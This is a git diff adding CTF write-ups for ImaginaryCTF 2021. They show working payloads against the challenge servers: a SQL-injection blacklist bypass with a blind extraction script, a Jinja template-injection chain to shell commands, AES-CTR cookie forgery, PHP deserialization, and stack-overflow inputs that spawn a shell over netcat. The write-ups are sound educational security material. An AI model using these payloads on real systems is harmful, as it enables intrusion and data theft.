summaryrefslogtreecommitdiffstats
path: root/docs/writeups/ImaginaryCTF_2021
diff options
context:
space:
mode:
Diffstat (limited to 'docs/writeups/ImaginaryCTF_2021')
-rw-r--r--docs/writeups/ImaginaryCTF_2021/awkward_bypass.txt138
-rw-r--r--docs/writeups/ImaginaryCTF_2021/build_a_website.txt107
-rw-r--r--docs/writeups/ImaginaryCTF_2021/chicken_caesar_salad.txt1
-rw-r--r--docs/writeups/ImaginaryCTF_2021/cookie_stream.txt70
-rw-r--r--docs/writeups/ImaginaryCTF_2021/destructoid.txt123
-rw-r--r--docs/writeups/ImaginaryCTF_2021/discord.txt1
-rw-r--r--docs/writeups/ImaginaryCTF_2021/fake_canary.txt55
-rw-r--r--docs/writeups/ImaginaryCTF_2021/flip_flops.txt35
-rw-r--r--docs/writeups/ImaginaryCTF_2021/formatting.txt23
-rw-r--r--docs/writeups/ImaginaryCTF_2021/hidden.txt4
-rw-r--r--docs/writeups/ImaginaryCTF_2021/linonophobia.txt248
-rw-r--r--docs/writeups/ImaginaryCTF_2021/numhead.txt33
-rw-r--r--docs/writeups/ImaginaryCTF_2021/off_to_the_races.txt59
-rw-r--r--docs/writeups/ImaginaryCTF_2021/rock_solid_algorithm.txt98
-rw-r--r--docs/writeups/ImaginaryCTF_2021/roos_world.txt5
-rw-r--r--docs/writeups/ImaginaryCTF_2021/sanity_check.txt1
-rw-r--r--docs/writeups/ImaginaryCTF_2021/sinking_calculator.txt107
-rw-r--r--docs/writeups/ImaginaryCTF_2021/stackoverflow.txt78
-rw-r--r--docs/writeups/ImaginaryCTF_2021/stings.txt35
19 files changed, 1221 insertions, 0 deletions
diff --git a/docs/writeups/ImaginaryCTF_2021/awkward_bypass.txt b/docs/writeups/ImaginaryCTF_2021/awkward_bypass.txt
new file mode 100644
index 0000000..9f55126
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/awkward_bypass.txt
@@ -0,0 +1,138 @@
+The Website
+-----------
+going to the website shows us a basic login page with a username and password
+the form sends us to /user
+if we fail to login, the page just says "Error".
+
+
+
+The Source
+----------
+looking at the source, if we get the login right, it will display a page. trying to GET the page will fail because it only uses POST.
+
+the login check goes out to a sql database and executes the following query
+SELECT * FROM users WHERE username='{username}' AND password='{password}'
+the query is filled in with python f strings. our input isn't being escaped, so we can inject arbitrary SQL into this.
+
+
+
+Basic SQL Injection
+-------------------
+we can test our SQL inject to get a successful login with
+
+ user = ' OR 1=1 --
+ pass = junk
+
+this actually fails, because, looking back at the source, there is a blacklist trying to prevent SQL injection
+the blacklist consists of several SQL keywords. the login parameters then are checked for each blacklisted word in alphabetical order and, if the word is found, it's removed from the string
+
+
+
+Bypassing the Filter
+-------------------
+it only does this blacklist pass once, and because it's alphabetical, we can just put one of the last words, "WITH", in the middle of any blacklist words we want in our query. The single instance of the word will be found and removed, leaving the rest of the query.
+
+ user = ' OWITHR 1=1 --
+
+and this works, but we're met with a page telling us there is no flag here.
+well, we have the ability to execute arbitrary SQL, so let's see what else is in the database...
+
+
+
+Boolean SQL Oracle
+-----------------
+while we can execute arbitrary SQL, we aren't presented with the output of our queries. We are, however, presented with either an Error or the user page if our query returns any results. So we can use this binary result to determine truth values about various properties of the data in the database including existence of tables, rows in those tables, count of records, existence of specific records, and even figure out the content of records with carefully crafted queries
+
+
+
+Arbitrary SQL Injection through UNIONs
+--------------------------------------
+there are any number of ways to go about this, but I personally prefer turning the original query into a guaranteed no results query and UNION it with an arbitrary query of my choice so that I have full control of the query and not just statements after the WHERE clause like in a traditional SQL injection
+
+ user = ' UNION <arbitrary query> --'
+
+in order to do a UNION, though, we need to SELECT the same number of rows as the table in the original query. So we need to figure out how many rows are in users. We can do this pretty easily by selecting on an increasing number of NULL rows until we get a successful query. We know we have at least 2 rows, so we can start there. also, remember that we need to insert "WITH" in the middle of each of our SQL keywords. Here on I'm going to omit it from the examples for the sake of readability.
+
+ user = ' UNION SELECT NULL, NULL --
+
+and... there are only 2 rows. So it's just the user and password fields.
+
+
+
+Searching for tables in sqlite_master
+-------------------------------------
+first of all, we want to check for the existence of any other tables. in SQLite, there is a sqlite_master table that has a record for each user-created tables. I decided to check for how many tables there were first by predicating my query on COUNT(*) and searching for the right number with >. You have to use a HAVING clause to predicate on COUNT(*). You need a GROUP BY clause in order to use the HAVING clause. note that we need to insert the "WITH" between the 'R' and 'O' in FROM rather than the 'O' and 'M' because then we'll accidentally spell "ROW" and we need to insert a "WITH" in sqlite_master becaues it contains "as", so sqlite_maWITHster
+
+ user = ' UNION SELECT COUNT(*), NULL FROM sqlite_master GROUWITHP BWITHY 1=1 HAVIWITHNG COUNT(*) > 1 --
+
+and... this comes back false. checking COUNT(*) == 1 instead and... yeah. users is our only table.
+
+
+
+Searching for users in the users table
+--------------------------------------
+okay... so how many records are in the users table? we can check this in the same way
+
+ user = ' UNION SELECT COUNT(*), NULL FROM users GROUP BY 1=1 HAVING COUNT(*) > 1
+
+and... we only have a single record. okay, well let's figure out what the exact values of the two rows in that record are.
+
+
+
+sqlmap-esque attack to brute force a value in a record
+------------------------------------------------------
+The most straightforward way to do this is by using the LIKE clause. We can search each character individually and match the rest of the string with %. So we could test username LIKE 'a%', username LIKE 'b%', etc. until we find a match, then add another character username LIKE 'ua%' and so on until we have the whole thing.
+
+There is one catch, though. if we ever run into something in the value we're testing that is in the blacklist, it can mess up our query leading us missing a match or getting a false positive. My original attempt at this had an issue where it would keep matching fififififi... indefinitely because the "if" was being filtered out. I got around it by figuring out the length of the field and searching using only single character wildcards, but honestly that's not a great way to handle it. A better way is to just do what we've been doing. Add a "WITH" between each character to ensure no matches happen. Potentially the "WITH" could make a match with something else in the string, but it's unlikely and we'll deal with it if we run into it (spoilers, we don't)
+
+The last catch is that we need to deal with any '_' that we find. '_' is also a single character wildcard in a SQL LIKE clause, so we need to escape it. We can do this by adding an ESCAPE clause to define an escape character like '!' and then escaping the '_' with '!_'
+
+ user = ' UNION SELECT username, NULL FROM users WHERE username LIKE '<test characters>%' ESCAPE '!' --
+
+Our script has an outer loop that keeps going until we have a character that we can't find a match for (implying the end of the string). The inner loop iterates over several printable characters that we might find in the string. We skip a couple characters that have semantics in the LIKE statement and aren't likely to be part of the string. We might have '_', though, so when we check it, change it to a '!_'. We prepend the string that we've found so far to the character we're checking and then add "WITH" between each character. Test it, check if it's an Error or not, and if it isn't, add it to the currently discovered string, break, and start checking the next character.
+
+```
+import string
+import request
+base = '\' UNIOWITHN SELECWITHT username, NUWITHLL FRWITHOM users WHERWITHE '
+base += 'username LIWITHKE \''
+#base += 'paWITHsswoWITHrd LIWITHKE \''
+tail = '%\' ESCORAPE \'!\' --'
+soln = ''
+while True :
+ found = False
+ for c in string.printable[:95]:
+ ch = c
+ if ch in '%[]^-!':
+ continue
+ if ch == '_':
+ ch = '!_'
+ test = soln + ch
+ test = 'WITH'.join(test)
+ payload = base + test + tail
+ code = 400
+ while code != 200:
+ r = requests.post("https://awkward-bypass.chal.imaginaryctf.org/user",data={'username':payload,'password':'test'})
+ code = r.status_code
+ log = soln+c
+ print(log+": " if "Error" in r.text else log+": ***********")
+ if not "Error" in r.text :
+ found = True
+ soln += c
+ break
+ if not found:
+ break
+```
+
+and "admin" is our username. Okay, what about the password? We can do the exact same thing except with the password field. The only thing to be aware of is that "password" actually has two blacklist matches in it. So instead, we want to use "paWITHsswoWITHord".
+
+this eventually gets us the flag.
+
+
+
+Alternative Methods
+-------------------
+while this is the most straightforward way to do this, I saw a few other really cool ideas to figure out a field in other writeups that are worth mentioning here.
+one interesting idea was to use the SQL substr and hex functions to get a single character in the string, convert it to hex, and compare it to the hex of the character we're testing. We can then send that character individually to avoid running into the blacklist and as hex to avoid special characters in the LIKE clause.
+
+another cool idea was to first figure out the length of the string. then, in our loop to crack the value, we convert the entire string to hex and compare it to a value in the range of 0 to hex(256**string_length). Since we can check < rather than strictly ==, we can actually do a binary search on the number. Not only would that binary search be way faster than iterating over every possible character, but this would let us check the whole string at once which should also be much faster. And the hex means we won't run into blacklist words or special characters.
diff --git a/docs/writeups/ImaginaryCTF_2021/build_a_website.txt b/docs/writeups/ImaginaryCTF_2021/build_a_website.txt
new file mode 100644
index 0000000..547df28
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/build_a_website.txt
@@ -0,0 +1,107 @@
+The Website/Source
+------------------
+generic flask app that takes whatever you send through the form, base64 encodes it, redircts you to another page. the new page will base64 decode your content and run it through flask's render_template. There is also a blacklist of strings that the content is checked for which will replace the entire content with a message about "stack smashing" (and there is a comment about xss as well. nothing we're doing here is either xss or stack smashing lmao)
+
+
+
+Basic Server Side Template Injection
+------------------------------------
+obviously letting us run shit through flask's render_template is a problem. We can verify this by putting in
+
+ {{7//2}}
+
+and see that our page prints "3" (it did the integer division server side)
+
+we can also start looking at variables on the server script and running arbitrary python
+
+ {{dict(config)}}
+
+interestingly, I assumed our flag would either be in config[SECRET_KEY] (common place for flask app auth key) or somewhere in g (flask's global variables), but these were empty.
+
+
+
+Deeper SSTI
+-----------
+so likely we need to go deeper with the arbitrary code execution (server-side-template-injection)
+
+a standard way to do this with python/jinja templates is
+
+ {{"foo".__class__.__base__.__subclasses__()[182].__init__.__globals__['sys'].modules['os'].popen("ls").read()}}
+
+or use an empty string '' or empty list [] rather than that "foo" string
+
+but that blacklist is keeping us from doing this because it checks for "las" (class), "bas" (base), and "bal" (globals).
+
+if anything, I think this is a clue that we're on the right track. I'm assuming getting around this blacklist shouldn't be too hard
+
+
+
+Avoiding the Blacklist
+----------------------
+okay, so python is pretty shit with data encapsulation (as demonstrated with that module traversal to os.popen) and there is any number of ways to get around avoiding certain keywords, but in this case, it looks like we aren't going to be able to avoid them all
+
+from there, we have a number of ways to access attributes of an object with a string (which means we can obfuscate it). some examples:
+
+ obj.__class__
+ getattr(obj,"__class__")
+ obj["__class__"]
+ and jinja actually has a "filter" syntax
+ obj|attr("__class__")
+
+now getattr isn't available to us (surprisingly, quite a few python builtins are gone. I was only able to use dict() from what I tested. I didn't even have access to dir(), which made searching through objects and figuring out what I had access to a huge fucking pain)
+
+the [] syntax is only really useful on objects where it isn't overloaded ("test"["__class__"] won't work because strings expect a numeric index in []. similar issue with the empty list [])
+
+but that jinja filter does work for us!
+
+from here there are quite a few ways we can obfuscate our keywords to evade the filter
+
+we could use string concatenation (obj|attr("__cl"+"ass__"))
+
+python escape characters (obj|attr("__cl\x61ss__"))
+
+and even hiding strings in other request parameters that aren't checked against the blacklist (?exploit={{obj|attr(request.args.param)}}&param=__class__)
+
+now with this I tried the earlier "ls" command, but it failed. after digging through piece by piece, it gets hung up looking for the 182nd subclass of obj. In other words, this works
+
+{{ []|attr("__cl"+"ass__")|attr("__b"+"ase__")|attr("__subcl"+"asses__")() }}
+
+which will print out an array of subclasses of obj. The 182nd is supposed to be warnings.catch_warnings which uses the "sys" module which gives us a pivot point into the "os" module, but it isn't there.
+
+okay, it looks like it IS in there, but for some fucking reason the [] operator isn't working. so we can use __getitem__, I guess. But .function() syntax also isn't working now??? so I guess we can use |attr() for everything...
+
+{{ []|attr("__cl"+"ass__")|attr("__b"+"ase__")|attr("__subcl"+"asses__")()|attr("__getitem__")(182)|attr("__init__")|attr("__glob"+"als__")|attr("__getitem__")("sys")|attr("modules")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")() }}
+
+this is the final version of it that actually manages to run "ls" on the remote machine. And there is a flag.txt. so we can do the same thing, but with "cat flag.txt"
+
+
+
+Working through some of the problems
+------------------------------------
+okay, I was having problems with the [] and . operators because of the |attr() filter. it's doing something weird either as a order or operations thing or possibly a preprocessor thing. Doesn't matter, we can get around it by enclosing the whole "filter expression" in parenthesis
+
+ {{ (([]|attr("__cl"+"ass__")|attr("__b"+"ase__")|attr("__subcl"+"asses__")())[182].__init__|attr("__glob"+"als__"))["sys"].modules["os"].popen("ls").read() }}
+
+looking back at that subclass list, subprocess.Popen was actually in there directly. So we could just use that rather than going all the way around to get to os. using list slicing to find the offset...
+
+ ([]|attr("__cl"+"ass__")|attr("__b"+"ase__")|attr("__subcl"+"asses__")())[100:]
+ [200:]
+ ...
+
+it's at [360]
+
+and then we can just call it
+
+ {{ ([]|attr("__cl"+"ass__")|attr("__b"+"ase__")|attr("__subcl"+"asses__")())[360]("ls",shell=True,stdout=-1).communicate() }}
+
+shell=True makes it actually launch the shell as the program and give "ls" as a command in the shell (useful if, say, ls was a shell builtin instead of a separate program)
+
+stdout=-1 is setting stdout to subprocess.PIPE which is necessary to get anything out of it
+
+.communicate() gives us a way to either pipe in input or pipe out output. we're using it to pipe out. it returns a tuple of (stdout,stderr)
+
+in our case, because only stdout was set to PIPE, we get (<some-data>,None)
+
+The output is in a byte string, so the output gets escaped and we have a bunch of '\n' everywhere, but that is definitely the output of ls and we can go from there.
+
+
diff --git a/docs/writeups/ImaginaryCTF_2021/chicken_caesar_salad.txt b/docs/writeups/ImaginaryCTF_2021/chicken_caesar_salad.txt
new file mode 100644
index 0000000..33342a2
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/chicken_caesar_salad.txt
@@ -0,0 +1 @@
+simple caesar cipher with key 8
diff --git a/docs/writeups/ImaginaryCTF_2021/cookie_stream.txt b/docs/writeups/ImaginaryCTF_2021/cookie_stream.txt
new file mode 100644
index 0000000..594fe9c
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/cookie_stream.txt
@@ -0,0 +1,70 @@
+honestly, this was more of a crypto problem than web
+
+
+
+The Website
+-----------
+website is mostly two pages / which is a login and /home which will check if you're logged in, redirect you to / if you aren't, rickroll you if you are, or show you the flag if you're logged in as admin
+
+
+
+The Source
+----------
+python file with another flask app
+
+there are actually 3 routes
+
+again, / is a login. the actual page is just a form that POSTs to /backend
+
+/backend redirects to /home on GET. on POST, it "checks" a username and password pair against a hardcoded dictionary of usernames and sha512 hashed passwords. if it gets a match, it will generate a random nonce and then encrypt the username using AES-CTR with a hidden key and the generated nonce. the username is first padded (pkcs7) and converted to bytes. then the nonce is prepended to the encrypted username, the whole thing is hexlified, and it's set as a cookie. finally it redirects to /home
+
+/home separates the nonce and encrypted username out of the cookie, unhexlifies, then decrypts the username using the nonce and secret key. if that username is admin, it prints the flag, otherwise it rickrolls
+
+
+
+The Attack
+----------
+so our goal is to get some ciphertext with the username "admin" encrypted using the app's secret key, create a cookie with that, and visit /home
+
+obviously we don't have access to the key, but the app does call attention to the fact that it uses AES-CTR. looking at a brief description of the CTR mode, it looks like the nonce is actually what is run through the cipher blocks to create a "key stream" which is then byte-wise xor'd against the plaintext to give you the ciphertext. This means that if we have a chosen plaintext/ciphertext pair, we can xor them to give a valid keystream for a specific nonce. We could then xor any plaintext into that keystream and effectively have a ciphertext which is that new plaintext encrypted with the hidden key and chosen nonce
+
+so in order to do this, we need a valid plaintext/ciphertext pair and the nonce used to encrypt that ciphertext. the /backend prepends the nonce to the ciphertext when it encrypts, so if we can encrypt a chosen plaintext through it, we'll also have our corresponding nonce and ciphertext in the resulting cookie.
+
+in order to get /backend to encrypt something for us, we need a valid username and password pair. the app has that hardcoded dictionary of password hashes, so we can start taking those and throwing them through the standard dictionary attack websites which will compare the hashes against databases and search for a plaintext match. I got varying results for different hashes with different websites(not that they gave different answers, but some had answers for different hashes), but all we needed was one, so I chose the Eth007:supersecure pair.
+
+Logging in on / with Eth007:supersecure gives a cookie. We can take that cookie into python and start processing it.
+
+```
+auth = <cookie>
+user = "Eth007"
+nonce = binascii.unhexlify(auth[:16])
+cipher = binascii.unhexlify(auth[16:])
+```
+
+it's worth noting that because of the way this mode works, the plaintext and cipher text are always the exact same length (remember that 'user' was padded to 16 bytes before it was encrypted)
+
+```
+len(nonce) = 8
+len(cipher) = 16
+16 - len(user) = 10
+plain = user + chr(10)*10
+k = []
+for i in range(0,16):
+ k.append(plain[i]^cipher[i])
+key = bytes(k)
+```
+
+and now we have a valid keystream that we can encrypt arbitrary plaintext with
+
+```
+chuser = "admin"
+16 - len(chuser) = 11
+chplain = chuser + chr(11)*11
+c = []
+for i in range(0,16):
+ c.append(chplain[i]^key[i])
+chcipher = bytes(c)
+chauth = binascii.hexlify(nonce) + binascii.hexlify(chcipher)
+```
+
+and now we can set our "auth" cookie to the value of chauth, visit /home, and there's the flag
diff --git a/docs/writeups/ImaginaryCTF_2021/destructoid.txt b/docs/writeups/ImaginaryCTF_2021/destructoid.txt
new file mode 100644
index 0000000..0404923
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/destructoid.txt
@@ -0,0 +1,123 @@
+The first part of this was a bit guessy, but the PHP exploit was kind of cool.
+
+
+
+The Website
+-----------
+Checking the website, it drops us at a mostly empty page with the text 'ecruos? ym dnif uoy naC'.
+
+
+
+Finding the Source
+------------------
+The rules of the ctf explicitly said no automated tools like dirbuster or wfuzz, so how the fuck do they want us to find a random link? Eventually I realized that the question mark in the text was BEFORE the word "source" if you reverse the text. So I tried adding the query param "?source" and this gave me the following php source for the page.
+
+
+
+The Source
+----------
+
+```
+<?php
+$printflag = false;
+
+class X {
+ function __construct($cleanup) {
+ if ($cleanup === "flag") {
+ die("NO!\n");
+ }
+ $this->cleanup = $cleanup;
+ }
+
+ function __toString() {
+ return $this->cleanup;
+ }
+
+ function __destruct() {
+ global $printflag;
+ if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
+ die("No!\n");
+ }
+ include $this->cleanup . ".php";
+ if ($printflag) {
+ echo $FLAG . "\n";
+ }
+ }
+}
+
+class Y {
+ function __wakeup() {
+ echo $this->secret . "\n";
+ }
+
+ function __toString() {
+ global $printflag;
+ $printflag = true;
+ return (new X($this->secret))->cleanup;
+ }
+}
+
+if (isset($_GET['source'])) {
+ highlight_file(__FILE__);
+ die();
+}
+echo "ecruos? ym dnif uoy naC\n";
+if (isset($_SERVER['HTTP_X_PAYLOAD'])) {
+ unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
+}
+```
+
+So we have a $printFlag variable, a couple Classes, the bit that checks for '?source', the bit that asks to find the source, and then a bit that checks the $_SERVER dictionary for 'HTTP_X_PAYLOAD', base64 decodes it, and unserializes it.
+
+As far as I'm aware, $_SERVER is supposed to be for execution environment info. It can contain certain standard headers, but it usually doesn't contain just any header. Well apparently it has an undocumented "feature" (which I only found out because of the comments on the man page) where it will take all headers sent to it and add them to the dictionary as "HTTP_<header name>". Okay, so this PHP is grabbing the X_PAYLOAD header. This means we can control something that gets unserialized.
+
+
+
+Deserialization Attack
+----------------------
+A quick google search about PHP serialization led me to the fact that certain functions are automatically called when on unserialized objects. There is obviously no guarantee that what we send is actually the same structure as what is being unserialized (PHP does the same "bag of properties" thing that javascript does). Serialization does not maintain functions on the type, but it will maintain any data variables. So if the above code has behavior defined for unserialization and we poison the actual data that that behavior acts on, we have some level of control over the server side code.
+
+Sure enough, the Y class has a __wakeup() function. This function will be called when a Y object is unserialized. It tries to print the value of $this->secret. While this normally would just mean that we can print text, it actually also means that any objects that can be implicitly converted into a string can also be printed. And their __toString() function called.
+
+Both classes X and Y have a __toString() function. For X, it just prints the contents of $this->cleanup. This puts us in a similar situation as before, so we don't really care that much about it. Anything that we could pass here we could just pass as Y->secret. For Y->__toString(), however, sets $printFlag to True, creates a new X with $this->secret as an argument, and takes the cleanup value from this new object as it's string conversion. In other words, if we unserialize a Y with another Y set as the first's secret value, it will create a new X with the second Y's secret value then print the value of that X's cleanup value.
+
+So we now have the ability to construct an X with an arbitrary argument. If we do this with the value "flag", the program dies. Otherwise, it sets $this->cleanup to that value. As that value is what is returned to and from Y's __toString, we're once again back to effectively printing an arbitrary value. There is one major difference this time, though. We now have $printFlag set to True.
+
+There is one last bit of the PHP that we haven't really dug into yet. X has a destructor. If we were to unserialize an X (or for that X that gets created with the earlier method), it would eventually call the destructor when the script finishes. The destructor requires the X's cleanup value to be either "flag" or "noflag". Otherwise it will die. It will then include the PHP file $this->cleanup . ".php". Finally, if $printFlag is set to True, it will print the value of $FLAG which we can assume it gets from including flag.php.
+
+So we should be able to create an X with cleanup="flag" that, when destructed, prints the flag so long as $printFlag is True. And $printFlag is true if we try to __toString() a Y. If we make a Y that contains another Y that contains an X that contains "flag", it will unserialize the first Y, try to print the second Y, need to unserialize the second Y, which leads to trying to print the X, which will print "flag", then we get back to printing the second Y, which sets $printFlag=True and leads to creating a new X with our given X as an argument, where in the X constructor it checks if our given X equals "flag" (obviously it doesn't), and then tries to __toString our given X, which will check our given X's cleanup if it is either "flag" or "noflag" (it's "flag"), it includes "flag.php", returns $FLAG all the way back up the stack, and eventually the second Y finishes printing out with the value of $FLAG
+
+We can easily create this payload by writing some local php to create the objects and serialize them.
+
+
+
+The Payload
+-----------
+
+```
+<?php
+class X{
+ public $cleanup = "flag";
+};
+class Y{
+ public $secret;
+};
+$x = new X;
+$y = new Y;
+$y2 = new Y;
+$y2->secret = $x;
+$y->secret = $y2;
+$s = serialize($y);
+echo $s;
+?>
+```
+
+We can then base64 this. '-w 0' turns off the line wrap.
+
+ php serialpayload.php | base64 -w 0
+
+then we can copy this into the X-Payload header when we curl the app.
+
+ curl https://destructoid.chal.imaginaryctf.org/ -H "X-Payload: TzoxOiJZIjoxOntzOjY6InNlY3JldCI7TzoxOiJZIjoxOntzOjY6InNlY3JldCI7TzoxOiJYIjoxOntzOjc6ImNsZWFudXAiO3M6NDoiZmxhZyI7fX19"
+
+and there's the flag!
diff --git a/docs/writeups/ImaginaryCTF_2021/discord.txt b/docs/writeups/ImaginaryCTF_2021/discord.txt
new file mode 100644
index 0000000..2de9fbd
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/discord.txt
@@ -0,0 +1 @@
+it was in the announcements in the discord server
diff --git a/docs/writeups/ImaginaryCTF_2021/fake_canary.txt b/docs/writeups/ImaginaryCTF_2021/fake_canary.txt
new file mode 100644
index 0000000..ac96ef9
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/fake_canary.txt
@@ -0,0 +1,55 @@
+Reversing
+---------
+looking at the disassembly, it looks pretty similar to stackoverflow
+
+there is a value put on the stack and later it checks that it is still there
+
+we have the ability to smash the stack, but if we destroy that value, it will exit
+
+because it's a fixed value, though, we can just overwrite it with the same value
+
+so now that we can overwrite the stack, what can we do?
+
+there is a win() function which does the same system call with /bin/sh as stackoverflow
+
+so if we can get into that, we get a remote shell
+
+
+
+The Attack
+----------
+because we can smash the stack, we can control where the function returns to
+
+ [current stack frame]
+ [saved rbp]
+ [saved rip]
+ [previous stack frame]
+
+looking again at the disassembly, we are writing into $rbp-0x30, the "canary" of 0x00000000deadbeef is at $rbp-0x08, the saved rbp is at $rbp, and the saved rip is right after. we want to write the location of win() into the saved rip and the same canary value into where it's already at.
+
+keep in mind it's a 64bit executable, so the addresses are 8 bytes. This means the saved rbp and saved rip are both 8 bytes. The canary also happens to be 8 bytes (it was probably just implemented with an int).
+
+ perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00";' | ./fake_canary
+
+
+
+Cat Tricks
+----------
+and, of course, this doesn't work for the same reason as stackoverflow. It is getting past the canary, setting up rip to get into win(), and getting to the shell, but because stdin immediately closes at the end of the payload, the shell just closes
+
+we can use the cat trick from before to get around that
+
+ cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00";') - | ./fake_canary
+
+and, of course, this doesn't quite work either, and will instead just sit at the prompt. gets isn't getting an eof anymore and isn't returning, so we need to put a newline in for gets to return
+
+our final working payload
+
+ cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00\n";') - | ./fake_canary
+
+and this works against netcat as well
+
+ cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00\n";') - | nc chal.imaginaryctf.org 42002
+
+from here we can ls to find flag.txt and cat flag.txt
+
diff --git a/docs/writeups/ImaginaryCTF_2021/flip_flops.txt b/docs/writeups/ImaginaryCTF_2021/flip_flops.txt
new file mode 100644
index 0000000..a04ce50
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/flip_flops.txt
@@ -0,0 +1,35 @@
+The Service
+-----------
+connecting to the server you are given a choice to either encrypt something (given as hex) or have the server decrypt something (again, given in hex) and check it against a specific value.
+
+
+
+The Source
+----------
+looking at the python file for the server, we can see that it is using AES in CBC mode.
+
+it will choose a random key and iv each time we connect and let us do three operations before kicking us out
+
+it also won't let us just send the secret value to get encrypted. it checks.
+
+I didn't recognize the setup at first, so I spent a significant bit of time trying to figure out how to gain some kind of oracle based on the fact that the iv was reused, but no luck
+
+
+
+CBC Bit Flipping
+----------------
+after checking the internet, we quickly found that this is a classic setup for a bit flipping attack
+
+in CBC mode, the results of each decryption block are xor'd with the previous ciphertext (or iv) to get the result. this means we can change later blocks of decrypted plaintext by flipping bits in the previous blocks of ciphertext (of course this will mean they decrypt to garbage, but we may not care)
+
+
+
+The Attack
+----------
+so we can encrypt a block (16 bytes) worth of garbage followed by the secret value with a single bit in a single character flipped (we need to get "gimmeflag", so I'll encrypt "fimmeflag" which flips the least significant bit in the first character 0x67 -> 0x66)
+
+we can then take our new ciphertext and flip the corresponding bit in the first block and send it back to the server to decrypt and check
+
+this will decrypt to a block of garbage (different garbage than what we originally sent, though) followed by "gimmeflag"
+
+the first block is lost, but it was just garbage anyways. the validation function is only checking that our secret value is "in" the decrypted plaintext, not that it equals it
diff --git a/docs/writeups/ImaginaryCTF_2021/formatting.txt b/docs/writeups/ImaginaryCTF_2021/formatting.txt
new file mode 100644
index 0000000..62efda4
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/formatting.txt
@@ -0,0 +1,23 @@
+The Problem
+-----------
+given a hint about format strings
+
+a python script using the new python3 "function-like" format strings
+
+in particular,
+
+ inp = input("> ")
+ inp.format(a=stonkgenerator())
+
+this allows us to use "{}" in the inp string to substitute for arguments passed into format(). In this case, we only have a single, named argument we can substitute for ("{a}"). Any instance of "{a}" will be substituted with whatever a= in format().
+
+Normally, you need some kind of object that is printable. In this case, they are instantiating a class "stonkgenerator" which has a __str__() conversion. The fact that an object is used here (and that we control the format string) is the exploitable bit.
+
+
+
+The Attack
+----------
+When you use these types of format strings to get an object, you can actually reference properties of that object in the format string as well. For instance "{a.__str__()}" would actually work. Python is notoriously bad about data encapsulation, so we now have access to pretty much the whole program's memory.
+
+There is a variable "flag" at the top of the program which reads the flag in from some file. We want to print this out. It is as easy as
+{a.__init__.__globals__[flag]}
diff --git a/docs/writeups/ImaginaryCTF_2021/hidden.txt b/docs/writeups/ImaginaryCTF_2021/hidden.txt
new file mode 100644
index 0000000..f9fb142
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/hidden.txt
@@ -0,0 +1,4 @@
+they give you a psd file (I believe it's a photoshop file, but I don't have photoshop and gimp said it was malformed)
+flag was in plaintext in the file. binary file, but strings or even just opening it in a text editor and searching is enough
+
+strings challenge.psd | grep "ictf"
diff --git a/docs/writeups/ImaginaryCTF_2021/linonophobia.txt b/docs/writeups/ImaginaryCTF_2021/linonophobia.txt
new file mode 100644
index 0000000..d85f4e6
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/linonophobia.txt
@@ -0,0 +1,248 @@
+The Service
+-----------
+Running the program, it prompts us to enter some input. Whatever we enter is echoed back and then the program waits for more input. After this second bit of input, the program just ends.
+
+
+
+Reversing
+---------
+Looking at the dissassembly, we see that read() is used to get input both times. In between the reads, printf() is called. The first read() writes into a buffer on the stack. printf() uses this same buffer to read from.
+
+
+
+Attempting a Format String Attack
+---------------------------------
+So this immediately points us towards a format string attack. I sent a "%s" to test this. Surprisingly, it actually printed out "%s" literally.
+
+
+
+Back to Reversing
+-----------------
+Looking back at the dissassembly and we can see printf()'s GOT referenced earlier in main(). There is also a reference to puts()'s GOT. After puts() is called, it will replace the temporary pointer to puts()'s PLT that is in puts()'s GOT with the actual pointer to the puts() function in libc. main() is then going through a loop where it's writing bytes from puts()'s GOT to printf()'s GOT. So... when we call printf(), we're actually calling puts(). Okay.
+
+
+
+Attempting a Buffer Overflow into Shellcode
+-------------------------------------------
+This leads me to start looking at buffer overflows. Sure enough, the buffer is at $rbp-0x110, but read() is reading in 0x200 bytes. If we look closer, though, we have a stack canary to deal with, so we can't do much. Then I realized, we print out the contents of the first read() and then read() again. We could use the first read() to leak the value of the canary and then incorporate it in the next buffer overflow. Looking at the stack in gdb over a few runs of the program and I noticed that the least significant byte of the canary is always '\x00'. So we need to write up to that point and then write a single, non-zero byte there to get it to print out.
+
+After leaking the canary and then overflowing the buffer with the canary after, we can overwrite the return address. My first instinct was to try to return back into the buffer and execute shellcode. I tried this, but was getting segfaults. Following the execution in gdb and it was getting into the shellcode, but immediately segfaulting when trying to execute from the stack. I remembered that there is a flag that can disable executing from the stack. We can check this with checksec.
+
+ $ checksec --file=linonophobia
+
+And sure enough, NX (no stack execution) is enabled. After thinking about it a bit, we wouldn't have been able to get into the stack anyways if ASLR is enabledon the target system. That said, checksec does show us that PIE is disabled, so we can use absolute addresses for things in the executable itself. I assumed this means we need to do some kind of return oriented programming (ROP), but I've never done this before, so I started googling.
+
+
+
+Return Oriented Programming
+---------------------------
